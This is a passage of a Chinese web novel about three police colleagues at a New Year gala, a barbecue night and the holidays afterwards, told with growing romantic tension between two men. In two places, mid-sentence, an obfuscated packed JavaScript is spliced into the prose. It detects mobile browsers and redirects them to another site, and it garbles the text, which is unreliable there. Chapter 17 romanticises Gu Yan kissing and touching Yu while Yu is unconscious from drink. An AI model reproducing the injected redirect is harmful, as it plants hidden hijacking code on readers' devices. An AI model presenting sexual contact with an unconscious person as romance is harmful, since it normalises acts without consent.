喻沧州正被化妆老师摁着画口红,他紧抿着唇,无法用语言对苏小小进行严厉的谴责,只能一副受气包的模样看着苏小小用眼神示意她滚,苏小小乐得不行,没过一会儿又打趣他:“居然还化妆,”她摸了摸喻沧州脸上的粉,“喻队,我认识你这么久,你就属今天最人模人样。” 化妆老师收起了口红,喻沧州:“苏小小!” 苏小小小人得志:“怎么样?你咬我呀。” 喻沧州咬牙切齿:“你给我等着。” 她们俩斗嘴的时候,顾彦就在一边笑。顾彦进来以后,喻沧州还没对他打过招呼,喻沧州便说道:“顾彦,你也来了。” 顾彦冲他笑,很温和的样子:“队长,你今天很好看。” 喻沧州其实是不太在乎自己皮相的那种人,日子过得很糙,对自己长得好看不好看也没什么概念。不过人都喜欢听夸奖,再加上苏小小已经打趣了他这么久,突然听到一句夸奖,喻沧州顿时就有些飘飘然。 正在这时,化妆师已经将化妆刷和口红搁回了化妆盒里,“嗒”的一声,化妆师说了句“好了,下一个”,喻沧州顿时如释重负地站起来。 喻沧州个子很高,这身白衬衫和西裤其实将他包裹得非常有型,只是他方才是坐着所以才察觉不出来,此时他一站起来,顿时就给人一种痞帅中又带点精英的气质。苏小小顿时瞪大了眼:“喻队你别说,你今天这一身还真的挺帅的。” 喻沧州“哈哈哈”大笑起来,“终于认识到你领导我是一个美貌与内涵兼备,才华与德行齐飞的美男子了吧,晚了!等到今年过后一上班,我就天天给你小鞋穿!” 苏小小作瑟瑟发抖状:“我好怕哦。” 三人一边说着一边就往化妆室外走,等到去到走廊上,苏小小问喻沧州道:“喻队,你们化完妆以后不需要再集合一下,上台之前最后排练一次吗?” 喻沧州严肃着脸想了想:“不用练了,还练啥,老师没说要练啊。” 苏小小点点头,“那行,”没过一会儿又提议道,“诶,我们三来合张影吧!纪念一下今天这么帅的喻队。” 喻沧州不服气道:“什么今天这么帅的喻队?明天就不帅了吗?是纪念一下这么帅的喻队的今天。” 苏小小将手机上的拍照软件打开,把手机递给喻沧州,开口道,“行行行,你说啥就是啥。” 喻沧州和顾彦围着苏小小站好,他把手机举起来正要按拍摄键,正在这时,苏小小阻止了他,“唉唉,等一下喻队!” “又怎么了?” “我要站边上!远离镜头显脸小!” 喻沧州不耐烦道,“怎么就你要求这么多呢?!要站边上赶紧的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471596|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于是苏小小往旁边挪,顾彦则去到了喻沧州身边,喻沧州转过头,视线和顾彦相接,看见他对自己微微一笑,喻沧州心里一暖,抬头问苏小小道:“你站好了没啊?” “站好了站好了,来拍!” 于是“咔嚓”一声,三个人留下一张合影。 三个人合影完,看看时间,观众入场的时间就已经到了,苏小小对喻沧州道:“那什么,已经可以入场了,喻队,那我们就先走了啊?” 喻沧州摆摆手:“走走走,赶紧走。” “加油喻队,”苏小小举起右臂又下沉做了个加油的手势,“待会好好念,我和顾彦会全程录像的!” 喻沧州看见苏小小就心烦,“录录录,赶紧滚蛋。” 苏小小心满意足地和顾彦一起离开了。他们走了以后,喻沧州就找了个无人路过的走廊角落,自己重复熟悉朗诵稿。走廊的对面就是一个消防栓,从玻璃的反射中可以看见自己的脸,喻沧州看了看自己化完妆以后的脸,总觉得不像自己,心烦,他索性换了个方向,靠在消防栓那一面的墙上继续熟悉朗诵稿。 上台时间没过一会儿就到了,有同一个节目的参与人员过来找他,众人在化妆室前的走廊集合,去到后台,等上一个节目的表演人员下台,然后就是他们自己上台了。 观众席离舞台很近,喻沧州才在舞台上站好位置,一抬头就看见了坐在观众席前排的顾彦和苏小小。顾彦眼神专注,眼睛里好似盛着星光一样的望着自己,苏小小还冲他挥了挥手,喻沧州顿时就不那么别扭了。舞台上灯光很亮,他又正好站在一个地射灯的前面,灯光直直地烤着他,没过一会儿他就被闷出了汗,音乐响起,喻沧州按着之前老师吩咐的节拍处进入,“啊,我亲爱的祖国母亲,我多么热爱你。” 上台之前一想到自己要领读就觉得烦,等到真的念出了第一句话,反而没有那么多束缚了。就像指导老师老太太说的,正式表演不过是另一场排练。众人按着排练时候的状态来,没有出什么差错,十分钟的诗朗诵眨眼就过去了。 从后台出来以后,众人零零星星地往走廊走,整场晚会算上游戏时间大概三个半小时,谢幕的估计时间是十点半,还有两个小时,演员们只要在最后一个节目之前回到后台就好了,所以现在是自由时间。 喻沧州和一起表演的同事们聊了几句,告了别,就往观众席上走,观众席的前排,苏小小一转头看见了他,“喻队,这里!” 在苏小小和顾彦的中间,有一个空位,喻沧州弯着腰去到了空位上坐下来,一坐下来苏小小就拼命摇着他的胳膊,“朗诵得可以啊喻队,超级帅!我和顾彦全程录下来了!” 15. 第十五章 喻沧州勾勾唇角仪态潇洒地点了一下头:“那是,也不看看你队长我是谁。” 正在这时,顾彦递上来一瓶康|师傅道:“队长,要喝水吗?” “喝,正好渴了。”喻沧州一把接过顾彦手里的康|师傅,因为顾彦把康|师傅握在手里太久了,喻沧州接过来的时候还能感受到矿泉水瓶上的余温。 喻沧州喝完了水,合上瓶盖,就将剩下的半瓶水放回了脚边。正在这时,台上的一个古典舞节目《采薇》正好结束了,主持人一男一女走到舞台中央,先开口的是女主持人:“昔我往矣,杨柳依依。今我来思,雨雪霏霏。真的是特别美的一支古典舞,好像一下子将我们代入到了古人那缠绵深邃的情思当中。” “是的,非常美的一支舞,再次感谢《采薇》的表演者们。”男主持人的声音浑厚丰满,说到这里转头望了一眼女主持人,“诶吴越啊,话说到了这里,演出也已经进行了三分之一了,你是不是忘记了什么事情啊?” “嗯什么事情?”女主持人面露茫然状,“难道是?——” 男主持人接道:“没错,就是游戏啊。你忘了,我们今天一共有三次游戏环节,每次游戏环节的获胜者就可以领走我们今天的奖品。” “是的,没错。我们今天将一共有三次游戏环节,游戏的参与者将由我们现场抽票决定,每次游戏十二个参与者,每两个参与者一组,哪一组能够在游戏中夺得第一名,哪一组就有机会领走我们今天的奖品。为了能够让局里的同志们尽兴,我们今天的奖品设置也是别出心裁,三等奖是喜福来超市500元代金券,二等奖呢是一副索尼的蓝牙耳机,一等奖则是一个ipad。” “三十六个参与者中选六名获胜者,获奖率还是非常高的啊。”男主持人感慨道。”不知道各位听完了奖品设置,有没有对今天的游戏环节比较期待呢?现在进行的是三等奖的游戏轮,游戏项目是压气球,那么接下来就让我们进入抽票环节。” 有礼仪小姐穿着正红色的旗袍端着抽票箱走上舞台,苏小小递过来一张小纸片:“对了,喻队,这是刚刚替你拿的抽票用的号码,我086,顾彦087,你088,怎么样,数字是不是很吉利?” 喻沧州用两只手指夹过那张卡片,卡片是那种硬质的白卡纸,上面用马克笔写着“088”,喻沧州刚评价了一句“迷信”,突然听到台上报出两串数字:“……八十七号,八十八号……”大约主持人自己也意识到这两个数字靠得太近,疑惑地问了礼仪小姐一句:“是不是抽票箱没晃散啊?”说着就去晃了晃抽票箱。 喻沧州意识到这两个数字正好是自己和顾彦,下意识地转头要去看顾彦,正在这时,顾彦却忽然站起了身道:“不好意思,我想去一下洗手间。” 礼仪小姐刚刚报出他们俩的号码顾彦就要去洗手间,虽然以喻沧州的情商并没能来得及从这番举动中品出顾彦有多么不想和他一起玩游戏的意味,但他还是下意识地从心里滋生出一些莫名的不爽,他一把拉住顾彦的手腕,强劲有力的大手微微用了些力,将顾彦直接拉回了座位上:“不准走!你走了谁去和我玩游戏?” 座位席一片黑暗,只有来自舞台的光映在人的脸上,那一瞬间顾彦脸上闪过一丝带着宠溺的无奈,终究还是在座位上坐了下来。 顾彦想到待会的游戏环节是压气球——既然名字叫压气球,还能是用什么压?当然是用身体压。一想到待会两个人玩游戏,两个人会有大面积的身体接触,顾彦就有些沉不住气。 喻沧州见顾彦有些心不在焉的样子,以为顾彦是从来没有上过舞台害羞,就在黑暗中倏地凑了过去,唇停在顾彦耳边给他咬耳朵道:“不用害怕,上了台就当台下的观众都是大萝卜,我们只是上去玩个游戏,你不用害羞。” 喻沧州说话的时候气流就喷打在顾彦耳廓,顾彦回过神来,嘴角勾了一下道:“谢谢。” 正在这时,只听得台上的主持人说道:“接下来就有请这些被抽中号码的同志们走上舞台。” 苏小小推推喻沧州:“喻队,该你们了。” 喻沧州又推推顾彦:“走,上去了。” 苏小小在身后喊:“喻队顾彦加油!争取赢两张代金券回来!” 喻沧州毫不在意地笑了笑:“等着!” 六组被抽中的游戏参与者上台,大约因为警局的工作人员男多女少,所以此时上台的十二名游戏参与者竟然全部都是男同事。主持人又念了一遍刚才抽中的号码,让这十二名游戏参与者按照号码被抽中的顺序站好,从左到右每两人一组,就此分了组。 十二个人按照分组站成一排以后,喻沧州就显得有些鹤立鸡群,因为其他所有人都穿着平常的服装,只有他一人还穿着演出服,女主持人笑吟吟地走到喻沧州身边:“这位看来是刚才诗朗诵的表演者啊,怎么样,这一轮游戏有信心赢吗?” 喻沧州笑了笑,低下头对着主持人的话筒道:“有!” 女主持人又走过去一一问了其他组的人员,问题也都大同小异,到最后她走到舞台边缘道:“那么接下来就开始我们今天第一轮的游戏咯,我先说一下游戏规则,每组两个人,一个人躺在地上,另一个需要用除了四肢以外的身体躯干部分将气球压破,三分钟之内,哪一组压破的气球个数最多,哪一组就为今天的获胜者。” 平时压气球游戏,大家都是站着用躯干压的,很少有游戏规定要躺在地上压。这个游戏规则显然是晚会导演看局里都是男同事,所以想要恶搞一下,所以主持人才刚刚说完这句话,全场就哄笑了一阵,气氛被炒热了一点,主持人笑着等大家的哄笑声过去,又笑着道:“那么现在就请游戏参与者们准备好,游戏马上就要开始咯。” 女主持人一说完,喻沧州转头看了看顾彦:“地上有点脏,我躺地上,你来压?” 顾彦看着喻沧州,眼睛漆黑幽深,那一瞬间不知道在想什么,不过最后他还是点了点头。 计时器设置好,女主持人一声令下:“开始。”顾彦顿时就往装气球的箱子那边跑,放置在舞台中央的硕大的纸箱子里装满了花花绿绿的气球,顾彦拿起一个就往回跑。 到了喻沧州身前,顾彦将气球放置在喻沧州胸口,自己俯下身去撑在喻沧州上方。顾彦和喻沧州是这十二个人里面最先被抽中号码的人,也因为此,他们二人作为第一组留在了舞台的最边缘。此时舞台上只开了最 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“你在犹豫个什么劲?”喻沧州利落的声音在他耳边响起,“虽然我穿得少,气球压破了却也不会疼,这么犹豫的话我来压好了。” 顾彦躺在地上,在喻沧州带着他转身又靠近的瞬间,一颗心好似突然提起又落下。喻沧州说完就起身去气球箱子里拿下一个气球,顾彦呆呆地躺在地上,趁着喻沧州不在,却是长长地舒出了一口气。 接下来的时间里都是喻沧州来压气球,喻沧州压气球没有犹豫,两人的身体将气球固定好了用力一压,气球就破了,他再接着去拿下一个气球。 三分钟的时间很快就到了,每个气球用来系口的细线上都连着一个易拉罐环,现在大家压完气球了,礼仪小姐就来到大家身边数地上散落的易拉罐环,结果很快出来,六组里面的第三组压破的个数最多,然后第四组比他们少了两个,排在了第二,喻沧州这一组则是第三。 顾彦见状连忙对喻沧州道:“队长不好意思,是我的错。” 喻沧州对于胜负结果倒不是很在意,他闻言勾唇一笑道:“游戏么,重在参与。” 主持人公布了结果,就让其他游戏参与者们下去了,喻沧州走到座位的入口,一回头突然发现身后的人不见了,他连忙转身去寻。 洗手间里,顾彦开了水龙头,泼了一捧冷水在自己脸上。镜子里,冰凉的水珠从他脸上滑落,他的耳朵却是通红通红的。 刚才,喻沧州和他调转了个身,就动作利落地开始压气球,对于喻沧州来说,这或许只是一个游戏,对于顾彦来说,却是很多次的和他距离拉近,距离拉得太近,早已足够他在脑海中展开无数种可能的遐想。 没有办法,假如你曾经无数次在梦里梦见过一个人,肖想过一个人,你再怎么样也不可能在一个拥有着这样多暗示的游戏里正人君子地同他做游戏。 顾彦在镜子前站了一会儿,直到身体里叫嚣着的那股热浪终于平息下去一点,这才终于走出洗手间。 洗手间的走廊外,喻沧州大步朝他走来:“真的来了洗手间?刚才怎么也不跟我说一声,害我到处找你。” 16. 第十六章 顾彦和喻沧州回到了座位上,方才喻沧州答应了苏小小要拿两张代金券回来,结果现在得了第三,苏小小颇有一副要秋后算账的气势:“喻队,说好的代金券呢!” “吵什么?”喻沧州拿起脚边的矿泉水瓶不甚在意地喝了口水,“要是真拿到了也不给你。” 苏小小气得脸都要变形了:“谁说是给我的?你要是拿了至少可以拿来充作队费啊!” “队费是什么?没听说过。” 喻沧州放下了矿泉水瓶,往座椅上大咧咧地一靠,如同教育后辈一般语重心长地说,“做事呢,脑筋要活,这一条路子失败了,总还可以从另外一条路子来成功。你没事多往人力那边跑跑,和章姐搞好关系,一样可以多要点队费过来。” “……”自己争取队费不积极,反而还倒过来批评队员脑筋不够活,苏小小被喻沧州这臭不要脸的架势给震惊到了。 她原本还准备再据理力争几句期望能感化到这厚脸皮的人形牲畜,结果喻沧州颇不耐烦地冲她摆了摆手,扔给了她一句“还在演出呢,别吵到别人”,苏小小只好安静下来继续观看演出。 有了这一场游戏风波,接下里的游戏环节就基本上没有喻沧州和顾彦什么事了,苏小小也没被抽中,演出无波无澜地进行到十点二十,喻沧州去到后台和所有演员在最后的压轴曲目《难忘今宵》结束以后谢了个幕,这次的晚会就算结束了。 从演出会场里走出来的时候是十点四十五,苏小小见这个时间对于周五晚上来说实在是太早,就提议说要一起去吃宵夜。 “附近的宵夜摊子可多了,怎么样,喻队顾彦,我们一起去走一摊?” 喻沧州:“走就走啊,谁怕谁?” 宵夜摊子临近大学城,今天是周五的晚上,出来吃宵夜的本地人很多,一个个支着明亮温暖的灯泡的宵夜摊子上,坐满了青春洋溢的面孔。顾彦挑了个看起来客人没有那么多的摊子,就往那边走。 苏小小一坐下来就豪气云千地冲老板招了招手:“老板,来一箱青岛啤酒。” “好嘞,您等着。”老板说完就去店里面拿啤酒去了,顾彦则拿起了菜单和铅笔在上面勾选要点的食物。 啤酒没过一会儿就送来了,“啤酒就不给您们开了,要喝多少自己开,还有这是送您们的一小碟花生米,烧烤没送上来之前您们先垫点肚子。”宵夜摊子的老板是个个子很瘦的男人,说起话来客气又不失亲和力,上完了啤酒和花生米就转身去顾别的客人去了。 苏小小动作迅速刷刷刷开了三瓶啤酒以后,一转头发现顾彦已经将菜单点好了,她一手拿着开瓶器一手握着一瓶啤酒凑过来,“二十串羊肉串,三条烤鲫鱼,一盘香辣花甲,两串蒜蓉茄子,都是我爱吃的oh yeah,挺会点啊你顾彦。” 顾彦闻言笑了笑,他家以前就是开宵夜摊子的,麻纺厂又一贯以夜宵闻名,什么宵夜好吃什么宵夜不好吃,他知道得一清二楚。 宵夜摊子的老板将点好的菜单拿走,苏小小已经将倒好了的酒分别放在了喻沧州和顾彦面前,“来来来,啥也不说,我们先干一杯,庆祝这难得没有案子的新年。” 顾彦拿起自己的酒杯,喻沧州也拿起自己的酒杯,三个透明杯口凑在一起:“干!”三人一饮而尽。 干完了第一杯酒就是瞎侃时间,苏小小刚才在游戏环节喻沧州和顾彦下台之后,心急于本来要到手的队费飞走了,只顾着和喻沧州算账,就忘记八卦了。眼下正在宵夜摊子上,又刚刚喝完酒,苏小小顿时就兴致来了放开了,“诶话说喻队,你刚刚在台上是不是本来应该是躺在地上的那个,结果不知道怎么地,你嫌弃人家顾彦压气球压得慢,就抱着人家转了个圈?” 喻沧州不知道苏小小怎么突然提起这茬,夹了颗花生送进嘴里,眼皮都懒得抬:“是啊,怎么,你有意见?” “没有!”苏小小不知道思维跳跃到了哪里,一脸花痴星星眼状,“我觉得特别帅!” 虽然并没有领会到帅的地方在哪里,但是难得被苏小小夸自己帅,喻沧州顿时有些飘飘然,他特地把筷子放在碟子上,跷起一只二郎腿,抬起眼来炯炯有神地望着苏小小道:“哦是吗?你说说看,怎么帅?” “就是就是啊,我觉得你那个时候转圈的力道、速度都特别利落,让我想起了我昨晚看过的一本小说——《霸道王爷和他的忠犬影卫》!” “……” “……” “……” 四周人来人往熙熙攘攘,场面有一瞬间的静止。 喻沧州抬起头皱着眉头想了想,道:“什么是影卫?” “就是王府里的影子侍卫,专门负责守护王爷的安全!”苏小小提起这些来就非常熟悉如数家珍的样子,“一般王府里的影卫啊,都是从出身贫寒武学悟性极佳的寒门子弟中挑选出来,只有得到王爷足够的信任,才有资格做王爷的贴身侍卫。” “???” 喻沧州“洗耳恭听”的神情有一瞬间的崩裂,他重新拾起筷子又夹了一颗花生米送进自己嘴里,让自己打了结的思维又重新捋顺,“所以,影卫和王爷,两个人,都是男的?” 苏小小欣喜于自己的队长虽然没什么见识不过领悟力总算是还可以,非常欣慰地点了点头。 喻沧州觉得自己对这个世界的认知有点崩塌:“苏小小,你整天脑子里面都装得是些什么东西?啊?几天没来案子压着你,你就忘形成了这样,啊?你对得起你肩上‘人民警察’那四个字吗?啊?” 顾彦勾着唇角,脸上有忍不住的笑意。隔壁有一桌年轻人在玩真心话大冒险,不远处宵夜摊子的老板正在烤羊肉串发出“滋滋”的声音,然而无论顾彦多么试图转移注意力,还是会忍不住回到这两人的对话上来。顾彦觉得自己不能再听下去了,他怕自己绷不住了笑出声来,也怕自己因为这段对话,发散到一些更加不可言说的场景中去,顾彦放下筷子站起身来,“点的东西怎么这么久还没上上来,我去前面看看。” 说完,顾彦就去烧烤架前站着去了,留喻沧州和苏小小两个人在座位上继续争执着幼稚而没有营养的对话。 今天的来点烧烤的人很多,顾彦问了问老板还有多久轮到他们,老板放下手里正在烤的羊肉串,伸出右手比了个OK的手势,“还有三桌。今天周五,人多,难免要等,要不您先去位上吃点花生米?” “没事,我反正也没事,陪您聊聊。” 顾彦以前家里就是开宵夜摊子的,聊起话题来顺手拈来,他陪着宵夜摊的老板从宵夜的进货源聊到摆摊时间,又从摆摊时间聊到各时间段的人流量,时间匆匆流过,终于等到了他们的食物被烤好。 顾彦端着一盘茄子和一盘羊肉串往回走,结果还没走到桌边,就看到喻沧州和苏小小两个人已经倒在了桌子上。顾彦加快脚步来到桌边,数了数桌上的空瓶,连端着花甲同他一起过来的宵夜摊老板也有些惊诧:“才四瓶半啊,怎么就都倒了?” 苏小小是女生也就算了,连喻沧州也……顾彦看着手上热气腾腾的茄子和洒满孜然的羊肉串,今天晚上第二次有些无奈地笑了。 “那这些,你们还吃吗?”宵夜摊老板问道。 “不吃了,麻烦您帮我们打包起来吧。” 顾彦一边说着一边坐下来,将喻沧州杯里还剩的那半杯酒一口闷掉,又将桌上还剩下的那半瓶酒吹完。干完这些以后,他试着摇醒喻沧州和苏小小,然而喻沧州睡得死沉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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等到上了楼进了门,顾彦将喻沧州靠在玄幻的墙壁上,蹲下去给他脱了鞋,这才架着他往里走。他穿得少,一件薄薄的白衬衫什么也挡不住,喝过酒的身体温度又高,顾彦只觉得那件白衬衫好似无物,而他搂着喻沧州腰间的那块肌肤正源源不断地散发着热力,刚才被“鄂江分局合唱团”好不容易压下去的那股邪火好像又起来了,顾彦不敢再扶着喻沧州,连忙将他轻轻安置在沙发上,转身去厨房给他倒水。 顾彦端完了水回到客厅,正要走近,却发现喻沧州又醒了。 “顾彦,你过来。”喻沧州朝顾彦招招手,他不知道,他说着这话的时候眼睛里面汪着一层水。 “什么事沧州?”顾彦去到他身边。 “明天是你生日是不是,你去电视柜旁边的那个袋子里看看,是我给你买的生日礼物。”顾彦将手里的茶杯轻轻地磕在茶几上,将信将疑地往电视柜走。 电视柜旁边果然放着一个购物袋,购物袋上写着大大的“乌溪超市”四个字。顾彦还记得,某一个下班的午后,喻沧州鬼鬼祟祟地进门,看到他从厨房拿着锅铲走出来,当时他说的是,最近天气冷,从超市买了床被子。然而这被子却在他生日的前一夜变成了他的生日礼物。 顾彦打开袋子,将购物袋里的礼物拿出来,是一件黑色羽绒服。一个国产的羽绒服牌子,顾彦到了现在的这个新家以后就再也没穿过这种牌子,然而顾彦却觉得这是他此生收到过的最贵重的礼物了。喻沧州的礼物就像他这个人一样,看着朴素,其实心意都在里面了。他在知晓他生日的那一刻冲动买下礼物,却又在即将与他见面的那一刻将心意偷偷隐藏。 顾彦看着沙发上又睡断片过去的喻沧州,他长手长脚,一个人就占据了整个沙发。他穿着这身斯文败类的衣服诱惑了顾彦一晚上,又在这一晚即将结束的最后一刻拿出给他的生日礼物让他沦陷,顾彦看着沙发上已睡得毫无知觉的喻沧州,终于不再忍耐自己,一条腿跨在他身侧的沙发上,手轻轻提着他的衣领口,一低头吻了上去。 17. 第十七章 是想揉碎他的。想让他的这件白衬衫满是皱纹,留下他对他为所欲为的痕迹。也想彻底撕裂他,将他完完整整地从这一身里剥离出来,只为他一人所亲吻、抚摸、流连、和进占。 喻沧州的嘴唇很软,顾彦最初只是在他的嘴唇上轻轻亲吻和噬咬,双手扯出他的白衬衫,手掌伸进去在他的后腰上摩挲。但很快,顾彦就渐渐觉得不满足,心里身体里好似有什么控制不住的要喷发出来,方才在舞台上那澎湃的欲望又回来了,顾彦不再克制自己,他的手掌顺着喻沧州的背脊向上,托起喻沧州,唇舌撬开他的唇舌,如同游蛇一般地钻进去。 爱情究竟是什么呢?让人产生这样盛大的情|欲。喻沧州还闭着眼,他只是喝断了片,随时都有醒来的可能,顾彦却希望他能醒来,这样他就可以正好借这个机会告诉他他对他的欲望。 依旧是这间房子,依旧是身下的这个人,顾彦是从再次回到这里以后,才意识到自己究竟有多想念喻沧州。说来也许不会有人信,在他回到A市以前,他和他不过也就相处了十来天的时间,可是那短短的十来天,却在其后的十多年一直盘桓在顾彦脑海中,他于每一个独处的时间里将这十来天拿出来偷偷回忆,它们于他是如此宝贵,以至于他每每想起他和他相处的那些时光,就觉得连空气也是金色的。夜色清寂,偌大的客厅静悄悄的,喻沧州睡在沙发上,对于此时发生的一切毫无知觉。他的呼吸轻柔,他的头发碰到会扎手,他像是高高在上不可触碰的神祇,把顾彦反衬成一个卑劣的偷窃者。 顾彦托着喻沧州,与他唇舌相触,这才觉得心里的欲望纾解了些。 “沧州……沧州……”顾彦将喻沧州轻轻放在沙发上,头枕在他的颊侧,一边喘息着,一边发出轻声的呢喃。 喻沧州一大早醒来就在洗手间端着漱口杯对着镜子发呆。 还记得昨晚,他演出结束以后,就和苏小小和顾彦一起去了宵夜摊子,对于昨晚吃宵夜这件事情,停留在喻沧州脑海中最后的一幕是——苏小小夸完他身手利落堪比耽美影卫小说中的霸道王爷(什么玩意儿?)以后,就连敬了他三杯啤酒。三杯啤酒下肚,气氛顿时变得火热,两个人胡聊海聊,喝啤酒跟喝水一样,接下来的记忆,就是喻沧州衣衫凌乱地在自己的床上醒来…… 然而此时此刻,相比于自己那谜一样的酒量喻沧州更好奇的是,为什么自己明明只是去吃了顿宵夜,就能把嘴皮给吃破了。难道是昨晚回来路上风太大,嘴唇干裂了?还是辣的食物吃太多,上火了?洗手间里,喻沧州看着自己嘴唇上的伤痕,百思不得其解。 正发着呆,洗手间的门被推开了,昨晚的演出服被换了下来,喻沧州此时穿着的是一件运动型的灰色居家服,他转过头,推门进来的人是顾彦:“队长,局里从今天开始放假,我今天回B市,十点的火车票,马上就要走了,来跟你道个别。” “你今天就走?”喻沧州大吃一惊,之前他忙着演出的事情,都没有过问过顾彦放假以后的打算,谁知道才刚一放假,顾彦就要走了。 “对,假期总共也没多少天嘛,”顾彦说道,“这次是我毕业以后第一次离家这么久,妈妈千叮咛万嘱咐让我今年过年一定得回家过年。” 全天下母亲挂念孩子的心情都是一样的,喻沧州没再说什么挽留的话,摁亮了洗手台上的手机,看看时间,才早上七点半:“还有时间,一会儿我送你去火车站。” “好的,谢谢队长了。” “跟我还客气啥。” 顾彦说完就带上门出去了,喻沧州的发呆被人打断,眼下洗手间里又只剩他一人,他终于记起来自己牙还没刷,连忙端起杯子漱了口水,将挤了牙膏的牙刷往自己口中送。牙刷到一半,突然想起件事,也不管自己嘴里还叼着牙刷呢就径直往客厅里跑,“对了顾彦,你回B市,B市这几天天气挺冷的,电视柜旁边有个袋子,袋子里面是件羽绒服,你正好带上,天气冷,别……” 话说到一半,喻沧州就顿在了那里。客厅里,顾彦穿着一件深咖色的针织毛衣,手里拿着一件黑色的羽绒服,往身上一套,抬手的动作干净利落,喻沧州一句话走到客厅的时间,他正好在他面前将羽绒服套上。 顾彦气质非凡,那件深咖色的毛衣本就将他衬得肤色白净,此时再套上一件黑色羽绒服,整个人看上去说出来的稳重优雅。然而无论再如何稳重优雅,那件由某人自己亲自从乌溪超市买回来的国产黑色羽绒服,喻沧州还是认得的。 客厅里,喻沧州和顾彦两个人面面相觑,喻沧州挠挠后脑勺:“已经送出去了呀。” 叫你这厮酒量不好还喝酒断片! 喻沧州叼着牙刷往洗手间走,“当我没说!”顾彦两步上前一把拉住他,声音听上去很郑重,“队长谢谢,我很喜欢。” 洗漱完毕,一切行李收拾好以后,喻沧州送顾彦去火车站。到了火车站外,喻沧州跟着顾彦一起去取票。 “什么时候回来?” “初七。”顾彦说道。 “行,趁着过年的机会在家好好陪陪父母,我听说你还有个妹妹是吧,也好好陪陪她,一年到头也就只有这个时间能在家多陪陪家人。” “嗯,队长你也是。”顾彦取完火车票就直接进站了,这期间和喻沧州说话,顾彦一直没敢抬头看喻沧州。喻沧州不知道,之前刷牙的时候还好,现在到了火车站,两人都站在阳光底下,他唇上的伤口越发明显起来。顾彦羞赧于自己昨夜的举动太过任性,愣是没敢怎么看他。 顾彦进站以后,喻沧州一直站在原地,直到看不见他了,这才转身往回走,心里无端地腾起一股失落。回程的路上再次路过乌溪超市,喻沧州又想起早上看见的顾彦穿衣服的画面,不得不说,顾彦身材架子和气质都在那里,喻沧州此时再回想起那个画面,想起他挺直的背脊,削瘦的肩膀,笔直的身形还有那双修长的腿,一抬手即被包裹在黑色羽绒服里,那个画面那一瞬间,即使喻沧州的性别为男属性为直,也不得不承认那一幕很美。 午饭提前说好了是要去刘希薇家里吃的,后天团年,但难得喻沧州她姐在A市,刘希薇就叫了喻沧州、喻燕、还有童佟一起到他家去吃个饭。 喻燕一年到头三百六十五天有三百天是在外地出差,难得回来一趟,刘希薇做了满满一大桌子食物,再加上临近过年,家里腌了香肠,晒了鱼,卤了菜,喻沧州一进门看见桌上满满的食物用手拈起两根卤豆皮就往自己嘴里送。 童佟原本坐在沙发上看电视,一转头看见喻沧州偷鸡摸狗的模样,冲厨房扬头一喊,“奶,小叔又偷吃卤菜了!” 刘希薇握着锅铲从厨房里赶出来:“喻沧州!没事过来帮忙盛饭,别在那搞破坏!” 喻沧州偷吃卤菜被抓了个现行,嘴里嚼巴嚼巴,面无表情地直起身,一转身伸出手指冲童佟遥遥一点,童佟才不怕他,伸出舌头对着他做了个鬼脸。眼看威胁没有作用,喻沧州拿这天生克她的小丫头无可奈何,只好脱了外套老大不情愿地进厨房盛饭去了。 临近年关,天气降温,虽然没有下雪,不过窗外的风吹得窗户噼啪作响,阵势听起来格外惊人。童佟穿着毛衣在客厅里看了一会儿电视,突然大声问道:“奶!家里的空调是不是有点不给力啊?怎么觉得有点怪冷的。” 刘希薇人在厨房,声音小了担心客厅里的人听不见,说话都是用喊的,“是调得有点低,你要觉得冷,让你小叔去给你把空调调高一点!”说着推推喻沧州,“诶喻沧州,你去帮童佟把空调温度调高一点。” 喻沧州闻言放下手里的碗,说了声“好嘞”就往厨房外走。到了空调前,喻沧州拿起空调遥控器将空调刷刷又调高了三度,放下遥控器正要回厨房,喻沧州突然想起了一件事。下一刻,只见喻沧州抱着手臂,夸张地跺了跺脚,“哎哟好像还真是有点冷。” 说完,喻沧州抱着手臂缩手缩脚地回到客厅,拿起自己的外套,等到刘希薇端着菜从厨房走出来的时候,他特地慢动作地将外套往自己身上一套,风情万种地抬起头:“妈,我帅吗?” “犯什么傻!别挡道!” 喻沧州:“……” 吃过了午饭, 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正是临近新年,各大台都在播放春晚联欢晚会,还有台在重放前几天小年的晚会,独自一人在家感到落寞的喻沧州一瞬间听到这样悲伤的情歌:“……” 他顺手换了一个台: “我们的爱, 过了就不再回来, 直到现在我还默默地等待, 我们的爱我明白, 已变成你的负担, 只是永远我都放不开, 最后的温暖。” “……” 再换,音乐台正在循环播放以前的金曲: “我想我会一直孤单, 这一辈子都这么孤单, 我想我会一直孤单, 这样孤单一辈子。 天空越蔚蓝……” “……”喻沧州忍无可忍,手指戳下去电视遥控器又关了电视。玛蛋,敢情临近新年各大电视台都不演唱点红红火火的歌曲吗! 实在是无事可做,喻沧州索性洗澡换衣回房睡觉。 这个晚上简直就像喻沧州这个新年的缩影,接下来的几天,喻沧州待在家里,怎么耍都觉得不自在,睡觉睡觉醒来觉得空气太安静,打游戏打游戏觉得身边少了一个人,因为忍受不了这种突如其来的失落感,喻沧州索性天天往刘希薇那里跑。 “喂,我说,你怎么最近天天往我这里跑?”厨房里,刘希薇一边择菜一边抬头问道。 “来你这儿怎么啦?”喻沧州不耐地反驳,“过年不就是一家人团团圆圆的日子吗!” “是,人家过年是团团圆圆,带着老婆孩子回门见丈母娘,你一个人孤家寡人,天天往老母亲家里跑,那不叫团团圆圆。那叫反正家里没人顺道来蹭个饭!” 喻沧州:“……”得,话题到了这里又谈崩了,喻沧州听出刘希薇催他去相亲的意思,心里烦躁,接下来的日子也不往刘希薇家里去了。 